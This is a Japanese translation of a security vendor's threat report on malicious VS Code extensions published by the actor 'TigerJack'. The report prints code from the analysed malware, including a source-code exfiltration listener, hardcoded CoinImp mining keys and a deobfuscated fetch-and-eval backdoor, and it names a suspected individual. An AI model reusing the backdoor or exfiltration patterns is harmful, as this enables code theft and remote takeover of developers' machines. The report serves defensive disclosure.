TigerJackの拡張機能、複数マーケットプレイスで開発者から搾取を続ける

TigerJack――2025年初頭から私たちが追跡している脅威アクターをご紹介します。この人物は開発者向けマーケットプレイスに組織的に侵入し、複数のパブリッシャーアカウントを使って少なくとも11個の悪意あるVS Code拡張機能を仕掛けてきました。ab-498、498、498-00という3つの身元を使い分けながら、TigerJackはソースコードを盗み、暗号通貨をマイニングし、システムを完全に掌握するためのリモートバックドアを確立するという、洗練された攻撃手段を展開しています。

TigerJackが手がけた拡張機能の中でも特に成功を収めた「C++ Playground」と「HTTP Format」の2つは、Microsoftがひっそりと削除するまでに17,000人を超える開発者に感染を広げました。しかし脅威はそこで終わりませんでした。これらの拡張機能はOpenVSXマーケットプレイス(Cursor、Windsurfなど他のVS Code互換IDEで利用されている)では今も完全に稼働しており、Microsoftのプラットフォームから削除された後も何カ月にもわたってコードを盗み、暗号通貨をマイニングし続けています。
私たちがこの攻撃を調査している最中にも、TigerJackは再び動きました。同じ悪意あるコードを新たな名前でMicrosoft自身のマーケットプレイスに再公開したのです。

Image

深夜2時、締め切りが迫る中で複雑なC++アルゴリズムのデバッグをしているとしましょう。コードスニペットを手早くテストできそうな便利な拡張機能を見つけてインストールします。それは完璧に動作します――コードをコンパイルし、エラーをハイライトし、Googleのスタイルガイドに沿って整形までしてくれます。しかし、あなたが知らないところで、入力したすべてのキー操作がリアルタイムでどこかのサーバーに密かにアップロードされ、CPUは気づかぬうちに暗号通貨をマイニングしており、隠されたバックドアは20分ごとに新しいコマンドをチェックし、システムの完全な制御権を攻撃者に渡す機会をうかがっています。

これは、こうした拡張機能をインストールした何千人もの開発者が直面している現実です。このマルウェアは目に見えない形で動作し、約束通りの機能を提供しながら、同時に知的財産を盗み、システムリソースを乗っ取り、リモートアクセス用の永続的なバックドアを維持しています。何かがおかしいと気づいたとき――もし気づけたとしてもですが――すでに何カ月分もの成果が危険にさらされている可能性があります。

Image

マルウェアその1――拡張機能「C++ Playground」

完璧な隠れ蓑

「C++ Playground」拡張機能は、C++開発者にとって究極のコーディングアシスタントを自称しています。コードの即時記述・実行、自動整形、エラーハイライト、さらにはプロジェクトのオフラインコンパイル対応まで、スムーズな体験を約束しています。

そして巧妙なのは、実際にそれを実現している点です。この拡張機能は謳い文句をすべて実行します。リアルタイムでコードをコンパイルし、入力と同時にミスをハイライトし、Googleのc++スタイルガイドを使ってすべてをきれいに整形し、VS Codeのインターフェースにも完璧に溶け込みます。試してみた開発者にとって、これは洗練されたプロフェッショナル向けツールに感じられます――機能面では、実際にそうだからです。

Image

しかし、このプロフェッショナルな見た目の裏には、あなたが書くすべてのコードを盗むという一点のために設計された、巧妙なマルウェアが潜んでいます。

技術的な窃取メカニズム

この拡張機能はonStartupFinishedトリガーのおかげで、VS Code起動と同時に自動的にアクティブ化します。アクティブ化後は、ワークスペース内のすべてのC++ファイルを監視するドキュメント変更リスナーを登録します。

P.workspace.onDidChangeTextDocument(async (i) => {
    i.document &&
        i.document.languageId == "cpp" &&
        i.document?.uri.scheme == "file" &&
        (j?.document.uri.toString().includes(Ut) ||
            (mt.myfile != i.document.getText() &&
                (Bt(i), (mt.myfile = i.document.getText()))));
})

キー入力のたびに、この関数が500ミリ秒の遅延の後に発火します――パフォーマンスへの影響を避けるには十分な間隔でありながら、コードをリアルタイムで捕捉するには十分な速さです。あなたのソースコード全体がJSONペイロードにまとめられ、複数のエンドポイントに送信されます。

// Primary exfiltration targetsea = [
"https://ab498.pythonanywhere.com/test4",
"https://api.codex.jaagrav.in", 
"https://ab498.pythonanywhere.com/compile",
]

ペイロードの構造を見ると、データ窃取の範囲がわかります。

{
code: "/* YOUR COMPLETE C++ SOURCE CODE */",
language: "cpp", 
replaced: "/* PROCESSED VERSION OF YOUR CODE */",
input: "/* SIMULATED INPUT DATA */"}

このマルウェアは非常に的確に動作し、C++ファイルに対してのみ起動するため、他の言語で作業している開発者には検知されません。しかしC++開発者にとっては、すべてが盗まれます――画期的なアルゴリズムも、会社の競争優位性も、卒業研究のプロジェクトも例外ではありません。

マルウェアその2――拡張機能「HTTP Format」

暗号通貨マイニング作戦

「HTTP Format」拡張機能は異なるアプローチを取っています。「ワンキーストローク」でフォーマットできるシンプルなHTTPファイル整形ツールとして売り出され、REST APIやHTTPファイルを扱う開発者向けの軽量ユーティリティを装っています。

相棒のマルウェアと同様、これも実際に機能します。インストールしてHTTPファイル上でCtrl+Shift+Fを押せば、乱雑なAPIリクエストが美しく整形される様子を目にするでしょう。この拡張機能は謳い文句通りの機能を提供する一方で、密かにあなたのマシンを暗号通貨マイニング機に変えているのです。

Image

マイニングインフラ

難読化された拡張機能のコードの中には、CoinImpの暗号通貨マイニングサービス向けの完全なAPI認証情報が埋め込まれています。

// Hardcoded mining operation credentialsSite Key: 53415facb13dccbdf8523b5eefd45d01f6b16bf984cd8cf39ac04150266a4cd9
API Key: a8cf5c9291594c471bb786dcadeb9845bc3cc26a17ec52ec632a9bb7844e5b87
Username: mainuser

Username: mainuser

これらの認証情報を使うことで、TigerJackはマイニングの進捗を監視し、採掘した暗号通貨を自分のウォレットに直接引き出し、収益性を追跡し、マイニング作業を最適化し、数千台に及ぶ感染マシンを同時に管理できます。

この拡張機能は複数のCoinImpエンドポイントへの接続を確立します。

# Balance monitoring
https://www.coinimp.com/api/v2/user/balance# User management  
https://www.coinimp.com/api/v2/user/list# Cryptocurrency withdrawal
https://www.coinimp.com/api/v2/user/withdraw

最初のうちは、単にマシンの調子が悪くなったように感じるだけかもしれません。ファンが常時回りっぱなしになり、単純な作業でも動作が重くなります。かつては快適だった開発環境が、突然もたつき、不安定に感じられます。IDEのせいだ、ハードウェアのせいだ、あるいはアップデートの不具合だろうと考えるかもしれませんが、本当の原因は背後で静かに動き続け、CPUを消耗させ、生産性を蝕んでいるこのマルウェアなのです。

これは単なる不運ではありません――あなたのシステムが乗っ取られているのです。あなたがコーディングしている間、誰かが背後で静かに暗号通貨をマイニングし、あなたのCPUと電気を消費しています。

一方でTigerJackにとっては、まったく労力がかかりません。感染したマシン1台1台が、目に見えず、自動化され、拡張可能な受動的収入源となるのです。

Image

脅威のエスカレーション

しかしTigerJackの攻撃手段は、コード窃取と暗号通貨マイニングだけにとどまりませんでした。さらに調査を進める中で、同じ攻撃キャンペーンに関連する追加のアカウントと拡張機能を発見しました。そこには、感染マシンを完全に制御できるリモートコード実行という、さらに危険な能力が明らかになったのです。

マルウェアその3――リモートコード実行バックドア

システムの完全な制御

ソースコードの窃取や暗号通貨マイニングだけでも十分警戒すべき事態ですが、TigerJackの攻撃手段にはさらに危険なものが含まれています。それは、感染マシンを完全に制御できるリモートコード実行機能を備えた拡張機能です。

VS Codeマーケットプレイスの「498」というパブリッシャーアカウントの下には、498.cppplayground、498.httpformat、498.pythonformatという3つの拡張機能があり、いずれも同一のバックドアコードを含んでいました。このコードは、TigerJackのサーバーから任意のJavaScriptを定期的にダウンロードして実行するものです。

バックドアのメカニズム

この悪意あるコードは永続的なバックドアを確立し、20分ごとに新しいコマンドがないか確認します。以下は難読化を解除したバージョンです。

asyncfunctionsetupBackdoor() {
try {
let previousCode = -1;
let fetchAndExecute = async () => {
try {
let remoteCode = await (
await fetch('https://ab498.pythonanywhere.com/static/in4.js')
        ).text();
if (remoteCode != previousCode) {
eval(remoteCode);
          previousCode = remoteCode;
        }
      } catch (error) {}
    };
await fetchAndExecute();
setInterval(fetchAndExecute, 1000 * 60 * 20);
  } catch (error) {
console.error('SRC_ERR', error);
  }
}

その意味するところ

特定の予測可能な挙動を示すコード窃取型・暗号通貨マイニング型の拡張機能とは異なり、このリモートコード実行バックドアは「開けっぱなしの扉」のような存在です。20分ごとに新しい命令を確認し、リモートから取得したコードに対してeval()を実行することで、TigerJackは拡張機能自体を更新することなく、任意の悪意あるペイロードを動的に送り込めます。認証情報やAPIキーの窃取、ランサムウェアの展開、侵害された開発者マシンを企業ネットワークへの侵入口として利用すること、プロジェクトへのバックドア注入、活動のリアルタイム監視――どれも可能になってしまいます。

これはTigerJackの能力における大きなエスカレーションを示すものであり、その攻撃が日和見的なマルウェアの域をはるかに超え、最大限の柔軟性と制御を狙って設計された高度な攻撃基盤であることを物語っています。

パブリッシャーの実態――連携した複数アカウントによる攻撃

当初は2つの悪意ある拡張機能による単純な事案に見えましたが、実際にはそれよりもはるかに巧妙な、少なくとも11個の拡張機能が3つの異なるパブリッシャーアカウント(ab-498、498、498-00)にまたがる連携キャンペーンであることが判明しました。

この複数アカウント戦略には、1つのアカウントがフラグ付けされた際の冗長性を確保できる、独立した開発者による作業であるかのような錯覚を生み出せる、といった利点があります。さらに、GitHubリポジトリによる信頼性の演出、拡張機能間で一貫したブランディング、詳細な機能リスト、プロフェッショナルなマーケットプレイス上の見せ方、正規ツールを模した戦略的なネーミング(cppformat、pythonformat、httpformatなど)といった、プロレベルのソーシャルエンジニアリングも見て取れます。

Image

このパターンから、TigerJackの中核戦略が見えてきます。それは、実際に謳い文句通り機能する、一見正規のツールを作り込みながら、背後で見えない形で動作する悪意ある機能を埋め込むというものです。これは完璧な隠れ蓑です。開発者は必要な機能を得ながら、知らぬ間に知的財産の窃取とリソースの乗っ取りの被害者になってしまいます。

TigerJackのデジタルな痕跡を調査したところ、この攻撃で使われたGitHubアカウントに紐づくFacebookのプロフィールが見つかりました。このプロフィールは、「Zubaer Ahmed」という名前を使ったTigerJack本人の実際の個人アカウントとみられ、運用上のセキュリティ管理に不備があり、本名が意図せず露出してしまったことを示唆しています。このプロフィールはその後削除されたか、公開設定から非表示にされています。

Image

トロイの木馬戦略

11個の拡張機能を分析すると、特に悪質な手口が浮かび上がります。その一部は、悪意あるコードを一切含まない完全に無害なツールとしてアップロードされていました。これは、悪意あるアップデートを配信する前に信頼を積み上げるための、典型的なトロイの木馬型の手口です。

まずクリーンな拡張機能を公開することで、脅威アクターは好意的なレビューを蓄積し、セキュリティスキャンをパスし、正当性を確立できます。ある拡張機能が数百から数千のインストール数を獲得して勢いをつけたところで、悪意ある機能を導入する「アップデート」を送り込むことができるのです。インストール前にその拡張機能を精査していた開発者であっても、知らぬ間に侵害されたツールを受け取ることになります。

Microsoftは最終的にこれら当初無害だった拡張機能も削除しましたが、それはあくまで悪意ある拡張機能と同じパブリッシャーアカウントに紐づいていたためにすぎません。もしこれらのトロイの木馬型拡張機能が、関連の見えない別々のアカウントの下で公開されていたなら、おそらく今もマーケットプレイス上で検知されないまま残り、悪意あるペイロードのアップデートを待つ「潜伏エージェント」として機能し続けていたことでしょう。

再燃する脅威――連携した大規模再公開

この調査を進めている最中にも、脅威の状況はリアルタイムで変化し、私たちの懸念を裏付ける形となりました。2025年9月17日、TigerJackは連携した再公開キャンペーンを開始しました。それは単なる1つの拡張機能ではなく、新設された「498-00」というパブリッシャーアカウントの下で同時に公開された5つの拡張機能でした。その中には、オリジナルのC++ Playground拡張機能と同じ悪意あるコードを再パッケージした「cppplayground」も含まれていました。

これは削除されたマルウェアを単純に再公開しただけのものではなく、連携した組織的なキャンペーンでした。5つの拡張機能を一度に公開することには複数の狙いがあります。攻撃対象領域を広げること、複数の拡張機能名にリスクを分散させること、そして各プラットフォーム間で検知・削除のプロセスが遅く一貫性を欠いている点を突くことです。

マーケットプレイスのシェルゲーム――検知はされても保護はされない

数カ月にわたり、2つの悪意ある拡張機能はVS Codeマーケットプレイス上で野放しになったまま、17,000件を超えるダウンロードを記録しながらコードを盗み、暗号通貨をマイニングし続けました。Microsoftが最終的に対応した際も、ユーザーへの通知は一切なく、静かな削除という手段が取られました。セキュリティアドバイザリもなければ、感染した開発者への警告もなく、ただ静かに削除され、拡張機能IDが目立たないGitHubリポジトリの中に埋もれているだけでした。17,000人を超える侵害された開発者たちは、自力で気づくしかない状況に置かれたのです。

Image

この事実は、私たちの開発者エコシステムが抱える根本的な欠陥を浮き彫りにしています。あるマーケットプレイスがマルウェアを削除しても、脅威は単にセキュリティ対策の甘いプラットフォームへと移動するだけなのです。本稿執筆時点でも、両方の拡張機能はOpenVSXマーケットプレイス上で完全に稼働しており、プロフェッショナルな説明文、ユーザーレビュー、そして安全であるかのような錯覚を生む認証済みバッジまで備えています。

しかし、本当に警戒すべき現実はここにあります。OpenVSXをはじめとする代替マーケットプレイスには、事実上ほとんどセキュリティ検知の仕組みが備わっていないように見えるのです。Microsoftが何カ月もの被害を経てようやく脅威を特定するのに対し、こうしたプラットフォームはマルウェアスキャンをほとんど、あるいはまったく行わずに運用されています。監視の目が届かないプラットフォームに直接悪意ある拡張機能をアップロードできるのなら、わざわざMicrosoftの検知をかいくぐる必要すらありません。

その結果生まれるのが、マルウェアがマーケットプレイスを渡り歩くセキュリティのシェルゲームです。あるプラットフォームから削除されても、別のプラットフォームでは繁栄を続けます。大手プラットフォームで特定までに何カ月もかかる脅威は、小規模なプラットフォームでは無制限の猶予を得る一方、まったく新しい脅威はフリーパスを得てしまうのです。

セキュリティ演劇の連鎖を断ち切る

これは2つの拡張機能や1社のベンダーの対応だけの問題ではありません。セキュリティ上の失敗が複数のプラットフォームを横断して連鎖し、コミュニティ全体が脆弱なまま放置される一方で、各企業がユーザーではなくブランドを守るためのセキュリティ演劇に興じている――そうした開発者エコシステムの問題なのです。

すべてのマーケットプレイスに存在する断片化されたセキュリティ体制は、危険な死角を生み出しており、高度な脅威アクターはすでにそこを突いています。セキュリティがサイロ化された状態で運用されている限り、脅威はプラットフォーム間を移動し続け、開発者は気づかぬうちにさらされ続けることになります。

Koiでは、私たちは異なるアプローチを取っています。各マーケットプレイスが独自のセキュリティ基準を整備するのを待つのではなく、すべての拡張機能マーケットプレイスを継続的にスキャンし、脅威があなたの開発環境に到達する前に特定します。私たちの包括的なリスク分析は、コードの窃取や暗号通貨マイニングから、不審なネットワーク挙動、難読化されたペイロードに至るまで、複数の脅威ベクトルにわたって拡張機能を評価します。

あなたの環境内で悪意ある拡張機能を検知した際、私たちは単にフラグを立てるだけではありません。自動修復機能を提供し、侵害されたツールを安全に取り除き、潜在的な被害の評価をサポートします。脅威はプラットフォームの垣根を意に介さないため、私たちのインテリジェンスもマーケットプレイスの境界を越えて機能します。

包括的なマーケットプレイスセキュリティがどのように機能するかをご覧になりたい方、あるいは開発環境の保護に取り組む準備ができている方は、デモを予約するか、私たちまでご連絡ください。

IOC(侵害指標)

ネットワーク:

  • ab498.pythonanywhere[.]com
  • api.codex.jaagrav[.]in
  • coinimp[.]com

拡張機能:

  • ab-498.cppplayground 
  • ab-498.httpformat 
  • ab-498.pythonformat
  • ab-498.cppformat 
  • 498.cppplayground 
  • 498.cppformat 
  • 498.httpformat 
  • 498.pythonformat 
  • 498-00.cppplayground 
  • 498-00.cppformat 
  • 498-00.pythonformat 
  • 498-00.testwebext 
  • 498-00.httpformat

翻訳元: https://www.koi.ai/blog/tiger-jack-malicious-vscode-extensions-stealing-code

ソース: koi.ai